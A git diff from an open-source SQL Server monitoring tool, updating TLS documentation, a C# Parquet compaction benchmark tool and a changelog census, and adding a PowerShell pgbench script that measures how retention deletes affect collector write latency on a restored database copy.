    on the machine that encrypted them. Copying `darling.json` to another box gives you an undecryptable file,
    not a portable config.
@@ -938,9 +947,9 @@ Every one of these has cost somebody real time.
 
 These are known, current, and not bugs:
 
-- **No TLS on the MCP endpoint**, and none on the web endpoint unless you configure `web.network.tls`. The
-  bearer token travels in clear on the segment in both cases otherwise; the named control is a
-  TLS-terminating reverse proxy. Both are trusted-LAN opt-ins.
+- **TLS is opt-in on the MCP and the web endpoint** (`mcp.network.tls`, `web.network.tls`). Without it the
+  token travels in clear on the segment; the other control is a TLS-terminating reverse proxy. Both are
+  trusted-LAN opt-ins.
 - **No client-side secret store for the viewer.** A remote seat's `darling.json` holds the store role password
   in cleartext; ACL it. Fine for the read-only `viewer` role, worth thinking about for `admin`.
 - **The web dashboard has no plan analysis and no live-server actions** — that is the WPF viewer's job — and
diff --git a/llms.txt b/llms.txt
index 732fc4e766..ba1476a214 100644
--- a/llms.txt
+++ b/llms.txt
@@ -1,6 +1,6 @@
 # SQL Server Performance Monitor
 
-> Free, open-source SQL Server performance monitoring tool by Erik Darling (Darling Data, LLC). 42 SQL Server collectors, real-time alerts, graphical execution plan viewer, and a built-in MCP server with 89-161 tools for AI-powered analysis. Two current editions: Lite (standalone desktop app with DuckDB storage) and Darling (headless 24/7 service with a central PostgreSQL/TimescaleDB store). The older Full/Dashboard edition is deprecated. Replaces expensive commercial tools like SolarWinds SQL Sentry (formerly SentryOne) and SolarWinds DPA. MIT licensed.
+> Free, open-source SQL Server performance monitoring tool by Erik Darling (Darling Data, LLC). 42 SQL Server collectors, real-time alerts, graphical execution plan viewer, and a built-in MCP server with 89-181 tools for AI-powered analysis. Two current editions: Lite (standalone desktop app with DuckDB storage) and Darling (headless 24/7 service with a central PostgreSQL/TimescaleDB store). The older Full/Dashboard edition is deprecated. Replaces expensive commercial tools like SolarWinds SQL Sentry (formerly SentryOne) and SolarWinds DPA. MIT licensed.
 
 - Supports SQL Server 2016-2025, Azure SQL Managed Instance, AWS RDS for SQL Server, and Azure SQL Database (Lite and Darling)
 - Darling's service runs on Windows or Linux, and its viewers are a Windows desktop app and a web dashboard
diff --git a/tools/CompactionRepro/Program.cs b/tools/CompactionRepro/Program.cs
index fa9240fefb..b7acd52523 100644
--- a/tools/CompactionRepro/Program.cs
+++ b/tools/CompactionRepro/Program.cs
@@ -20,7 +20,7 @@
  * Input sources (pick one):
  *   --source-file <path>   Split an existing monthly parquet into N per-cycle
  *                          chunks, then compact. Closest to a real backlog.
- *   --merge-files <a,b,..> Compact the given files directly (no split). Use this
+ *   --merge-files <a,b,..> Compact the given files (or every *.parquet in the given directory) directly (no split). Use this
  *                          to run against a reporter's actual archive files.
  *   --synthetic            Generate a query_snapshots-shaped source, then split.
  *
@@ -32,7 +32,10 @@
  * Tuning knobs (defaults = ParquetCompaction's non-table-specific defaults):
  *   --memory-limit <str>   DuckDB memory_limit per merge connection. Default: 4GB
  *   --threads <int>        DuckDB threads per merge connection. Default: 2
- *   --row-group-size <int> Output ROW_GROUP_SIZE. Default: 8192
+ *   --row-group-size <int> Output ROW_GROUP_SIZE. Default: ParquetCompaction.DefaultRowGroupSize (2048)
+ *   --row-group-bytes-mb <int>  Output ROW_GROUP_SIZE_BYTES in MiB (0 = none). Default: the table's
+ *                          ParquetCompaction.RowGroupBytesFor (#5393: the daily table's byte bound)
+ *   (--threads defaults to ParquetCompaction.ThreadsFor(--table) when not given.)
  *   --max-batch-mb <int>   Per-batch on-disk input budget (MB). Default: 200
  *   --table <name>         Table name (drives exclude-column logic). Default: query_snapshots
  *
@@ -46,6 +49,15 @@
  *   --synthetic-base-ops <n>  RelOps in a normal synthetic plan. Default: 130
  *   --synthetic-tail-ops <n>  RelOps in a tail (huge) synthetic plan. Default: 75000
  *   --synthetic-tail-every <n> Every Nth row gets a tail plan. Default: 500
+ *   --copies <int>         Write N renamed copies of every input file so a small store can fill a large
+ *                          batch budget. Default: 1 (inputs used as they are).
+ *   --repeat-plans <int>   Rewrite every input file with each *plan* VARCHAR column repeated N times
+ *                          (repeat(col, N)): real archive files compress about 37 to 1, so this builds
+ *                          the reporter-sized plan text a small store lacks. Default: 1 (none).
+ *                          Rewritten inputs use the archive COPY options (2,048-row groups), as
+ *                          ArchiveService writes them, not DuckDB's 122,880-row default.
+ *   --repeat-columns <a,b> The columns --repeat-plans repeats. Default: every VARCHAR column whose name
+ *                          contains "plan" (query_plan and live_query_plan for query_snapshots).
  *   --keep                 Don't delete the temp dir after the run.
  *
  * Examples:
@@ -84,8 +96,13 @@
 
 var table = GetArg(args, "--table", "query_snapshots");
 var memoryLimit = GetArg(args, "--memory-limit", ParquetCompaction.DefaultMemoryLimit);
-var threads = int.Parse(GetArg(args, "--threads", ParquetCompaction.DefaultThreads.ToString()));
+var threads = int.Parse(GetArg(args, "--threads", ParquetCompaction.ThreadsFor(table).ToString()));
 var rowGroupSize = int.Parse(GetArg(args, "--row-group-size", ParquetCompaction.DefaultRowGroupSize.ToString()));
+var rowGroupBytesMb = long.Parse(GetArg(args, "--row-group-bytes-mb", (ParquetCompaction.RowGroupBytesFor(table) / (1024 * 1024)).ToString()));
+var rowGroupBytes = rowGroupBytesMb * 1024L * 1024L;
+var copies = int.Parse(GetArg(args, "--copies", "1"));
+var repeatPlans = int.Parse(GetArg(args, "--repeat-plans", "1"));
+var repeatColumns = GetArg(args, "--repeat-columns", "").Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
 var maxBatchMb = int.Parse(GetArg(args, "--max-batch-mb", (ParquetCompaction.DefaultBatchInputBytes / (1024 * 1024)).ToString()));
 var maxBatchBytes = maxBatchMb * 1024L * 1024L;
 var numFiles = int.Parse(GetArg(args, "--num-files", "15"));
@@ -98,7 +115,10 @@
 
 var mergeFiles = string.IsNullOrEmpty(mergeFilesArg)
     ? new List<string>()
-    : mergeFilesArg.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries).ToList();
+    : Directory.Exists(mergeFilesArg)
+        /* a directory: every parquet in it (a command line cannot carry hundreds of paths) */
+        ? Directory.GetFiles(mergeFilesArg, "*.parquet").Order(StringComparer.Ordinal).ToList()
+        : mergeFilesArg.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries).ToList();
 foreach (var mf in mergeFiles)
 {
     if (!File.Exists(mf))
@@ -144,7 +164,7 @@
 }
 else
 {
-    Console.WriteLine($"Settings: memory_limit={memoryLimit}, threads={threads}, ROW_GROUP_SIZE={rowGroupSize}, max-batch={maxBatchMb} MB");
+    Console.WriteLine($"Settings: memory_limit={memoryLimit}, threads={threads}, ROW_GROUP_SIZE={rowGroupSize}, ROW_GROUP_SIZE_BYTES={(rowGroupBytes > 0 ? rowGroupBytesMb + " MiB" : "none")}, max-batch={maxBatchMb} MB");
 }
 if (mergeFiles.Count == 0)
     Console.WriteLine($"Splitting source into {numFiles} chunks");
@@ -180,6 +200,15 @@
     }
     Console.WriteLine();
 
+    if (copies > 1 || repeatPlans > 1)
+    {
+        var rsw = Stopwatch.StartNew();
+        sourcePaths = PrepareInputs(sourcePaths, tempDir, copies, repeatPlans, repeatColumns);
+        Console.WriteLine($"      Prepared {sourcePaths.Count} input files ({copies} copies, plans x{repeatPlans}), " +
+                          $"{sourcePaths.Sum(p => new FileInfo(p).Length) / 1024.0 / 1024.0:F1} MB on disk, in {rsw.ElapsedMilliseconds} ms");
+        Console.WriteLine();
+    }
+
     try
     {
         ProfileSource(sourcePaths);
@@ -260,7 +289,7 @@ so the reported peak reflects mid-merge pressure. */
                 if (File.Exists(outPath)) File.Delete(outPath);
 
                 var bsw = Stopwatch.StartNew();
-                ParquetCompaction.MergeBatchToFile(table, batches[i], outPath, spillDir, memLimit, thr, rgs);
+                ParquetCompaction.MergeBatchToFile(table, batches[i], outPath, spillDir, memLimit, thr, rgs, rowGroupBytes);
                 bsw.Stop();
 
                 process.Refresh();
@@ -353,6 +382,7 @@ keeps the merge within the cap on real data. (#933) */
     {
         var outBytes = single.Outputs.Sum(p => new FileInfo(p).Length);
         Console.WriteLine($"      Output:           {single.Outputs.Count} part file(s), {outBytes / 1024.0 / 1024.0:F1} MB total");
+        Console.WriteLine($"      Output row groups: {CountRowGroups(single.Outputs)}  (input row groups: {CountRowGroups(sourcePaths)})");
 
         /* Row-count round-trip: total output rows must equal total source rows. */
         var srcSqlList = string.Join(", ", sourcePaths.Select(p => $"'{p.Replace("'", "''").Replace("\\", "/")}'"));
@@ -399,7 +429,7 @@ static List<string> SplitSourceFile(string sourceFile, string outDir, int numChu
     /* Split a real monthly parquet into N chunks using row-number bucketing.
        Each chunk is written as ZSTD parquet matching the production per-cycle
        archive format (ArchiveService writes per-cycle files with FORMAT PARQUET,
-       COMPRESSION ZSTD and the DuckDB default row group size). Empty chunks are
+       COMPRESSION ZSTD and ArchiveRowGroupSize, 2,048 rows, since #5381). Empty chunks are
        skipped. This connection runs with DuckDB defaults (no memory_limit) — the
        merge connections set their own via ParquetCompaction. */
     var sourceSql = sourceFile.Replace("'", "''").Replace("\\", "/");
@@ -423,13 +453,64 @@ merge connections set their own via ParquetCompaction. */
         cmd.CommandText =
             $"COPY (SELECT * FROM read_parquet('{sourceSql}') " +
             $"  WHERE (collection_id % {numChunks}) = {i}) " +
-            $"TO '{path.Replace("'", "''")}' (FORMAT PARQUET, COMPRESSION ZSTD)";
+            $"TO '{path.Replace("'", "''")}' ({ParquetCompaction.ArchiveCopyOptions})";
         cmd.ExecuteNonQuery();
         if (new FileInfo(path).Length > 0) paths.Add(path);
     }
     return paths;
 }
 
+/* Writes `copies` renamed copies of each input, each with every plan VARCHAR column repeated
+   `repeatPlans` times, using the archive COPY options. */
+static List<string> PrepareInputs(List<string> inputs, string outDir, int copies, int repeatPlans, string[] repeatColumns)
+{
+    var result = new List<string>();
+    using var con = new DuckDBConnection("DataSource=:memory:");
+    con.Open();
+    var n = 0;
+    foreach (var input in inputs)
+    {
+        var inSql = input.Replace("\\", "/").Replace("'", "''");
+        var select = "*";
+        if (repeatPlans > 1)
+        {
+            var cols = new List<string>();
+            using (var d = con.CreateCommand())
+            {
+                d.CommandText = $"DESCRIBE SELECT * FROM read_parquet('{inSql}')";
+                using var dr = d.ExecuteReader();
+                while (dr.Read())
+                    if (dr.GetString(1).Contains("VARCHAR", StringComparison.OrdinalIgnoreCase)
+                        && (repeatColumns.Length > 0
+                            ? repeatColumns.Contains(dr.GetString(0), StringComparer.OrdinalIgnoreCase)
+                            : dr.GetString(0).Contains("plan", StringComparison.OrdinalIgnoreCase)))
+                        cols.Add(dr.GetString(0));
+            }
+            if (cols.Count > 0)
+                select = $"* REPLACE ({string.Join(", ", cols.Select(c => $"repeat(\"{c}\", {repeatPlans}) AS \"{c}\""))})";
+        }
+        for (var c = 0; c < copies; c++)
+        {
+            var path = Path.Combine(outDir, $"in_{n++:D4}.parquet").Replace("\\", "/");
+            using var cmd = con.CreateCommand();
+            cmd.CommandText = $"COPY (SELECT {select} FROM read_parquet('{inSql}')) TO '{path.Replace("'", "''")}' ({ParquetCompaction.ArchiveCopyOptions})";
+            cmd.ExecuteNonQuery();
+            result.Add(path);
+        }
+    }
+    return result;
+}
+
+static long CountRowGroups(List<string> paths)
+{
+    using var con = new DuckDBConnection("DataSource=:memory:");
+    con.Open();
+    var list = string.Join(", ", paths.Select(p => $"'{p.Replace("'", "''").Replace("\\", "/")}'"));
+    using var cmd = con.CreateCommand();
+    cmd.CommandText = $"SELECT count(*) FROM (SELECT DISTINCT file_name, row_group_id FROM parquet_metadata([{list}]))";
+    return Convert.ToInt64(cmd.ExecuteScalar());
+}
+
 static string GetArg(string[] args, string key, string defaultValue)
 {
     for (var i = 0; i < args.Length - 1; i++)
diff --git a/tools/changelog/archive-census.txt b/tools/changelog/archive-census.txt
index bfa2df4655..f7619e0a04 100644
--- a/tools/changelog/archive-census.txt
+++ b/tools/changelog/archive-census.txt
@@ -10,6 +10,7 @@
 # fails CI. It is the durable half of the proof; `roundtrip` is the whole-document half and
 # needs the pre-split revision to compare against.
 
+3.10.0   295  ef28f41a6dd880e58385f22457d758b44db9b24991ebf3f832629e7792ddaa30
 3.9.0   760  3b0001be584135029dc4dc921cae4c9f15ca09ace77230625ec0974a22d7ede8
 3.8.0    35  7c531d7f349f1432913ae72b9ea8542821878e15f1aafe9c8a773abc55e7a5e1
 3.7.0   279  8912147a684e50dbd37b772b44688d68b71f46b854b5f90a2cfd9aeca5c71021
diff --git a/tools/drain-ab-replay/Invoke-DrainAbReplay.ps1 b/tools/drain-ab-replay/Invoke-DrainAbReplay.ps1
new file mode 100644
index 0000000000..d255093518
--- /dev/null
+++ b/tools/drain-ab-replay/Invoke-DrainAbReplay.ps1
@@ -0,0 +1,1027 @@
+<#
+.SYNOPSIS
+    Collector-write load for the retention-drain A/B (#5592): stands in for the collectors while a restored
+    copy of a large store drains its retention backlog, and measures the drain's effect on those writes.
+
+.DESCRIPTION
+    Needs PowerShell 7, psql and pgbench (PostgreSQL 14 or newer client tools). Builds nothing.
+
+    Run mode (default):
+      1. Reads, from the store itself, how many rows per hour the collectors wrote into each collect.* table over
+         the last 24 hours of data (rates.csv), and how many servers wrote.
+      2. Picks the tables that carry -CoveragePercent of those rows and writes one pgbench script per table
+         (scripts/), each issuing the collector's write shape with synthetic values.
+      3. Runs pgbench in short segments at the measured rate until the drain has finished (no retention DELETE
+         seen for -IdleMinutes after one was seen), -FixedDurationSeconds, or the hard cap.
+      4. Samples pg_stat_activity once a second (which table the retention backend is deleting from, wait
+         events, pg_stat_io and WAL counters) and the tables' n_tup_del every 2 seconds.
+      5. Writes phases.csv, latency_by_script.csv and summary.md in the output folder.
+
+    -ReportOnly <folder> rebuilds the report from an existing output folder.
+    -Compare <folderA> <folderB> writes a side-by-side compare.md / compare.csv (into -OutputFolder).
+
+    Writes only INSERT / upsert statements shaped like the collectors' (see README.md). Never drops, truncates
+    or alters anything. The connection comes from the parameters only. -Password is handed to the child
+    processes through PGPASSWORD for the life of the run and removed afterwards.
+
+.EXAMPLE
+    pwsh ./Invoke-DrainAbReplay.ps1 -DbHost localhost -Port 5432 -User darling -Database darling `
+        -OutputFolder D:\ab\runA -IKnowThisIsACopy
+#>
+[CmdletBinding(DefaultParameterSetName = 'Run')]
+param(
+    [Parameter(ParameterSetName = 'Run', Mandatory)] [string] $DbHost,
+    [Parameter(ParameterSetName = 'Run')] [int] $Port = 5432,
+    [Parameter(ParameterSetName = 'Run', Mandatory)] [string] $User,
+    [Parameter(ParameterSetName = 'Run', Mandatory)] [string] $Database,
+    [Parameter(ParameterSetName = 'Run')] [string] $Password = '',
+    [Parameter(ParameterSetName = 'Run', Mandatory)]
+    [Parameter(ParameterSetName = 'Report', Mandatory)]
+    [Parameter(ParameterSetName = 'Compare')] [string] $OutputFolder,
+
+    [Parameter(ParameterSetName = 'Report', Mandatory)] [switch] $ReportOnly,
+    [Parameter(ParameterSetName = 'Compare', Mandatory)] [string[]] $Compare,
+    # -Compare A B: B lands here as the first free positional argument (-Compare A,B works too).
+    [Parameter(ParameterSetName = 'Compare', Position = 0)] [string] $CompareB = '',
+
+    # Safety: without this the run refuses unless every server in config.config_monitored_servers (the table the
+    # service collects from; collect.servers on an older schema) has is_enabled = false.
+    [Parameter(ParameterSetName = 'Run')] [switch] $IKnowThisIsACopy,
+
+    # Rate: measured rows/hour x RateScale. 1.0 reproduces the collectors' measured write rate.
+    [Parameter(ParameterSetName = 'Run')] [double] $RateScale = 1.0,
+    [Parameter(ParameterSetName = 'Run')] [int] $RateWindowHours = 24,
+    [Parameter(ParameterSetName = 'Run')] [int] $RateQueryTimeoutSeconds = 600,
+    [Parameter(ParameterSetName = 'Run')] [double] $CoveragePercent = 90,
+    [Parameter(ParameterSetName = 'Run')] [int] $MaxTables = 40,
+    [Parameter(ParameterSetName = 'Run')] [switch] $AllowLowCoverage,
+
+    # Clients: one per server that wrote in the window, capped.
+    [Parameter(ParameterSetName = 'Run')] [int] $MaxClients = 32,
+    [Parameter(ParameterSetName = 'Run')] [int] $Threads = 1,
+
+    # Stop conditions.
+    [Parameter(ParameterSetName = 'Run')] [double] $HardCapHours = 4,
+    [Parameter(ParameterSetName = 'Run')] [double] $IdleMinutes = 5,
+    [Parameter(ParameterSetName = 'Run')] [double] $NoDrainTimeoutMinutes = 60,
+    [Parameter(ParameterSetName = 'Run')] [int] $FixedDurationSeconds = 0,
+    [Parameter(ParameterSetName = 'Run')] [int] $SegmentSeconds = 60,
+
+    # Statement shapes.
+    [Parameter(ParameterSetName = 'Run')] [int] $MinBatchRows = 1,
+    [Parameter(ParameterSetName = 'Run')] [int] $MaxBatchRows = 2000,
+    [Parameter(ParameterSetName = 'Run')] [int] $QsDatabases = 3,
+    [Parameter(ParameterSetName = 'Run')] [int] $DigestPool = 20000,
+    [Parameter(ParameterSetName = 'Run')] [int] $NewDigestPercent = 5,
+    [Parameter(ParameterSetName = 'Run')] [int] $QueryTextBytes = 800,
+    [Parameter(ParameterSetName = 'Run')] [int] $PlanBytes = 16384,
+
+    # Retention detection and phase building.
+    [Parameter(ParameterSetName = 'Run')]
+    [Parameter(ParameterSetName = 'Report')] [int] $PhaseGapSeconds = 120,
+    # Optional: only count a DELETE as retention when its backend has this application_name ('' = any).
+    [Parameter(ParameterSetName = 'Run')] [string] $RetentionAppName = '',
+    [Parameter(ParameterSetName = 'Run')]
+    [Parameter(ParameterSetName = 'Report')] [string] $ServiceLog = '',
+
+    [Parameter(ParameterSetName = 'Run')] [string] $PsqlPath = 'psql',
+    [Parameter(ParameterSetName = 'Run')] [string] $PgbenchPath = 'pgbench',
+    [Parameter(ParameterSetName = 'Run')] [double] $LogSamplingRate = 1.0
+)
+
+Set-StrictMode -Version Latest
+$ErrorActionPreference = 'Stop'
+$Inv = [System.Globalization.CultureInfo]::InvariantCulture
+
+# ======================================================================================================
+# Helpers
+# ======================================================================================================
+
+function Write-Info([string]$Message) { Write-Host ("[{0:HH:mm:ss}] {1}" -f [DateTime]::UtcNow, $Message) }
+
+function Format-Num([double]$Value, [string]$Format = 'F2') { $Value.ToString($Format, $Inv) }
+
+function Get-Pct([double[]]$Sorted, [double]$P) {
+    if ($Sorted.Length -eq 0) { return [double]::NaN }
+    $i = [int][math]::Ceiling($P * $Sorted.Length) - 1
+    if ($i -lt 0) { $i = 0 }
+    return $Sorted[$i]
+}
+
+function Quote-Arg([string]$Value) { '"' + $Value.Replace('"', '\"') + '"' }
+
+function Escape-SqlLiteral([string]$Value) { $Value.Replace("'", "''") }
+
+function Convert-ToMarkdownTable($Rows, [string[]]$Columns) {
+    $sb = [System.Text.StringBuilder]::new()
+    [void]$sb.AppendLine('| ' + ($Columns -join ' | ') + ' |')
+    [void]$sb.AppendLine('|' + (($Columns | ForEach-Object { '---' }) -join '|') + '|')
+    foreach ($row in $Rows) {
+        $cells = foreach ($c in $Columns) { "$($row.$c)" }
+        [void]$sb.AppendLine('| ' + ($cells -join ' | ') + ' |')
+    }
+    $sb.ToString()
+}
+
+# ======================================================================================================
+# Report (shared by the run and -ReportOnly)
+# ======================================================================================================
+
+function Read-PgbenchLogs([string]$Folder, [double]$Offset, [double]$T0, [int[]]$Labels, [string[]]$LabelNames, [int]$ScriptCount) {
+    # Returns per label: latency (us) lists overall and per script, and schedule lag (us) overall.
+    $lat = @{}
+    $lag = @{}
+    $files = Get-ChildItem -LiteralPath $Folder -File | Where-Object { $_.Name -like 'pgbench_seg*' -and $_.Name -notlike '*.out' -and $_.Name -notlike '*.err' }
+    $span = $Labels.Length
+    foreach ($file in $files) {
+        $reader = [System.IO.StreamReader]::new($file.FullName)
+        try {
+            while ($null -ne ($line = $reader.ReadLine())) {
+                $f = $line.Split(' ')
+                if ($f.Length -lt 6) { continue }
+                $sec = [long][math]::Floor([double]::Parse($f[4], $Inv) + $Offset - $T0)
+                if ($sec -lt 0 -or $sec -ge $span) { continue }
+                $label = $Labels[$sec]
+                $us = [double]::Parse($f[2], $Inv)
+                $sn = [int]$f[3]
+                $key = "$label|all"
+                if (-not $lat.ContainsKey($key)) { $lat[$key] = [System.Collections.Generic.List[double]]::new() }
+                $lat[$key].Add($us)
+                $key2 = "$label|$sn"
+                if (-not $lat.ContainsKey($key2)) { $lat[$key2] = [System.Collections.Generic.List[double]]::new() }
+                $lat[$key2].Add($us)
+                if ($f.Length -ge 7) {
+                    if (-not $lag.ContainsKey($label)) { $lag[$label] = [System.Collections.Generic.List[double]]::new() }
+                    $lag[$label].Add([double]::Parse($f[6], $Inv))
+                }
+            }
+        }
+        finally { $reader.Dispose() }
+    }
+    return @{ Lat = $lat; Lag = $lag }
+}
+
+function Write-Report([string]$Folder) {
+    $runJson = Join-Path $Folder 'run.json'
+    $samplerCsv = Join-Path $Folder 'sampler.csv'
+    if (-not (Test-Path -LiteralPath $runJson) -or -not (Test-Path -LiteralPath $samplerCsv)) {
+        throw "Folder '$Folder' has no run.json / sampler.csv - not a run folder."
+    }
+    $run = Get-Content -LiteralPath $runJson -Raw | ConvertFrom-Json
+    $offset = [double]$run.clock_offset_seconds
+
+    # ---- sampler rows -----------------------------------------------------------------------------
+    $samples = [System.Collections.Generic.List[object]]::new()
+    $hasIo = [bool]$run.has_pg_stat_io
+    foreach ($line in [System.IO.File]::ReadLines($samplerCsv)) {
+        if ([string]::IsNullOrWhiteSpace($line)) { continue }
+        $c = $line.Split(',')
+        if ($c.Length -lt 17 -or $c[0] -notmatch '^\d') { continue }
+        $samples.Add([pscustomobject]@{
+            ts = [double]::Parse($c[0], $Inv); ret_table = $c[1]; ret_app = $c[2]; ret_wait = $c[3]
+            b_active = [int]$c[4]; b_io = [int]$c[5]; b_lock = [int]$c[6]; b_lwlock = [int]$c[7]
+            o_active = [int]$c[8]; o_io = [int]$c[9]; o_lock = [int]$c[10]; o_lwlock = [int]$c[11]
+            wal = [double]::Parse($c[12], $Inv)
+            io_reads = [double]::Parse($c[13], $Inv); io_writes = [double]::Parse($c[14], $Inv)
+            io_read_ms = [double]::Parse($c[15], $Inv); io_write_ms = [double]::Parse($c[16], $Inv)
+        })
+    }
+    if ($samples.Count -lt 2) { throw 'The sampler recorded fewer than 2 rows; nothing to report.' }
+    $t0 = [math]::Floor($samples[0].ts)
+    $t1 = [math]::Floor($samples[$samples.Count - 1].ts)
+    $span = [int]($t1 - $t0) + 1
+
+    # ---- phases: events, then a label per second ----------------------------------------------------
+    $events = [System.Collections.Generic.List[object]]::new()
+    foreach ($s in $samples) { if ($s.ret_table -ne '') { $events.Add([pscustomobject]@{ sec = [long]([math]::Floor($s.ts) - $t0); table = $s.ret_table }) } }
+    $nameOf = [System.Collections.Generic.List[string]]::new()
+    $nameOf.Add('no drain')
+    $labels = [int[]]::new($span)   # 0 = no drain
+    $phaseDefs = [System.Collections.Generic.List[object]]::new()   # label -> table, first, last
+    $current = -1
+    $instances = @{}
+    for ($i = 0; $i -lt $events.Count; $i++) {
+        $e = $events[$i]
+        $prev = if ($i -gt 0) { $events[$i - 1] } else { $null }
+        $joins = ($null -ne $prev) -and ($prev.table -eq $e.table) -and (($e.sec - $prev.sec) -le $PhaseGapSeconds) -and ($current -ge 0)
+        if (-not $joins) {
+            # a new phase instance; it also takes over a short gap after the previous phase
+            $n = 1 + $(if ($instances.ContainsKey($e.table)) { $instances[$e.table] } else { 0 })
+            $instances[$e.table] = $n
+            $nameOf.Add($(if ($n -eq 1) { $e.table } else { "$($e.table) (#$n)" }))
+            $phaseDefs.Add([pscustomobject]@{ label = $nameOf.Count - 1; table = $e.table; first = $e.sec; last = $e.sec })
+            $current = $nameOf.Count - 1
+        }
+        else {
+            $phaseDefs[$phaseDefs.Count - 1].last = $e.sec
+        }
+    }
+    # label each second: phase instance [first, last] plus the pause after it, when the next DELETE comes
+    # within the gap (a short pause between batches belongs to the table being drained).
+    for ($p = 0; $p -lt $phaseDefs.Count; $p++) {
+        $d = $phaseDefs[$p]
+        $endSec = $d.last
+        if ($p + 1 -lt $phaseDefs.Count) {
+            $nextFirst = $phaseDefs[$p + 1].first
+            if (($nextFirst - $d.last) -le $PhaseGapSeconds) { $endSec = $nextFirst - 1 }
+        }
+        $d | Add-Member -NotePropertyName end -NotePropertyValue $endSec -Force
+        for ($s = [int]$d.first; $s -le [int]$endSec -and $s -lt $span; $s++) { $labels[$s] = $d.label }
+    }
+
+    # ---- n_tup_del deltas ------------------------------------------------------------------------
+    $delCsv = Join-Path $Folder 'deletes.csv'
+    $delSeries = @{}   # table -> list of (sec, value)
+    if (Test-Path -LiteralPath $delCsv) {
+        foreach ($line in [System.IO.File]::ReadLines($delCsv)) {
+            $c = $line.Split(',')
+            if ($c.Length -lt 3 -or $c[0] -notmatch '^\d') { continue }
+            $tb = $c[1]
+            if (-not $delSeries.ContainsKey($tb)) { $delSeries[$tb] = [System.Collections.Generic.List[object]]::new() }
+            $delSeries[$tb].Add([pscustomobject]@{ sec = [double]::Parse($c[0], $Inv) - $t0; v = [double]::Parse($c[2], $Inv) })
+        }
+    }
+    function Get-DelAt([string]$Table, [double]$Sec) {
+        if (-not $delSeries.ContainsKey($Table)) { return $null }
+        $best = $null
+        foreach ($p in $delSeries[$Table]) { if ($p.sec -le $Sec) { $best = $p.v } else { break } }
+        return $best
+    }
+
+    # ---- pgbench logs ---------------------------------------------------------------------------
+    $scriptNames = @($run.scripts | ForEach-Object { $_.name })
+    $logs = Read-PgbenchLogs -Folder $Folder -Offset $offset -T0 $t0 -Labels $labels -LabelNames $nameOf.ToArray() -ScriptCount $scriptNames.Count
+
+    # ---- per label rollup -----------------------------------------------------------------------
+    $perLabelSecs = @{}
+    $phaseRows = [System.Collections.Generic.List[object]]::new()
+    $scriptRows = [System.Collections.Generic.List[object]]::new()
+    for ($label = 0; $label -lt $nameOf.Count; $label++) {
+        $secIdx = [System.Collections.Generic.List[int]]::new()
+        for ($s = 0; $s -lt $span; $s++) { if ($labels[$s] -eq $label) { $secIdx.Add($s) } }
+        if ($secIdx.Count -eq 0) { continue }
+        $seconds = $secIdx.Count
+        $sumB = 0; $sumBio = 0; $sumBlock = 0; $sumBlw = 0
+        $firstS = $null; $lastS = $null
+        $perSample = @{}
+        foreach ($s in $samples) {
+            $sec = [int]([math]::Floor($s.ts) - $t0)
+            if ($sec -ge 0 -and $sec -lt $span -and $labels[$sec] -eq $label) {
+                $sumB += $s.b_active; $sumBio += $s.b_io; $sumBlock += $s.b_lock; $sumBlw += $s.b_lwlock
+                if ($null -eq $firstS) { $firstS = $s }
+                $lastS = $s
+            }
+        }
+        $walMb = if ($null -ne $firstS -and $lastS.ts -gt $firstS.ts) { ($lastS.wal - $firstS.wal) / 1MB } else { 0 }
+        $walRate = if ($seconds -gt 0) { $walMb / $seconds } else { 0 }
+        $ioReads = if ($null -ne $firstS) { ($lastS.io_reads - $firstS.io_reads) / [math]::Max(1, $seconds) } else { 0 }
+        $ioWrites = if ($null -ne $firstS) { ($lastS.io_writes - $firstS.io_writes) / [math]::Max(1, $seconds) } else { 0 }
+
+        $rowsDeleted = $null; $rowsPerSec = $null
+        $startSec = $secIdx[0]; $endSec = $secIdx[$secIdx.Count - 1]
+        $tableName = ''
+        if ($label -gt 0) {
+            $def = $phaseDefs | Where-Object { $_.label -eq $label } | Select-Object -First 1
+            $tableName = $def.table
+            $before = Get-DelAt $tableName ($startSec - 1)
+            $after = Get-DelAt $tableName ($endSec + 1)
+            if ($null -ne $after) {
+                if ($null -eq $before) { $before = 0 }
+                # the first sample already counts rows deleted before this phase; with no earlier sample the
+                # delta from the series' first point is the best honest number
+                $firstPt = $delSeries[$tableName][0]
+                if ($before -eq 0 -and $firstPt.sec -gt ($startSec - 1)) { $before = $firstPt.v }
+                $rowsDeleted = [math]::Max(0, $after - $before)
+                $rowsPerSec = $rowsDeleted / [math]::Max(1, $seconds)
+            }
+        }
+
+        $key = "$label|all"
+        $arr = [double[]]::new(0)
+        if ($logs.Lat.ContainsKey($key)) { $arr = $logs.Lat[$key].ToArray() }
+        [Array]::Sort($arr)
+        $lagArr = [double[]]::new(0)
+        if ($logs.Lag.ContainsKey($label)) { $lagArr = $logs.Lag[$label].ToArray() }
+        [Array]::Sort($lagArr)
+        $phaseRows.Add([pscustomobject][ordered]@{
+            phase = $nameOf[$label]
+            table = $tableName
+            start_utc = ([DateTimeOffset]::FromUnixTimeMilliseconds([long](($t0 + $startSec) * 1000))).UtcDateTime.ToString('yyyy-MM-dd HH:mm:ss', $Inv)
+            end_utc = ([DateTimeOffset]::FromUnixTimeMilliseconds([long](($t0 + $endSec + 1) * 1000))).UtcDateTime.ToString('yyyy-MM-dd HH:mm:ss', $Inv)
+            seconds = $seconds
+            rows_deleted = $(if ($null -ne $rowsDeleted) { [long]$rowsDeleted } else { '' })
+            rows_per_sec = $(if ($null -ne $rowsPerSec) { Format-Num $rowsPerSec 'F1' } else { '' })
+            tx = $arr.Length
+            tx_per_sec = Format-Num ($arr.Length / [math]::Max(1, $seconds)) 'F1'
+            lat_p50_ms = $(if ($arr.Length) { Format-Num ((Get-Pct $arr 0.5) / 1000) 'F1' } else { '' })
+            lat_p95_ms = $(if ($arr.Length) { Format-Num ((Get-Pct $arr 0.95) / 1000) 'F1' } else { '' })
+            lat_max_ms = $(if ($arr.Length) { Format-Num ($arr[$arr.Length - 1] / 1000) 'F1' } else { '' })
+            lag_p95_ms = $(if ($lagArr.Length) { Format-Num ((Get-Pct $lagArr 0.95) / 1000) 'F1' } else { '' })
+            lag_max_ms = $(if ($lagArr.Length) { Format-Num ($lagArr[$lagArr.Length - 1] / 1000) 'F1' } else { '' })
+            active_samples = $sumB
+            io_wait_share_pct = $(if ($sumB -gt 0) { Format-Num (100.0 * $sumBio / $sumB) 'F1' } else { '' })
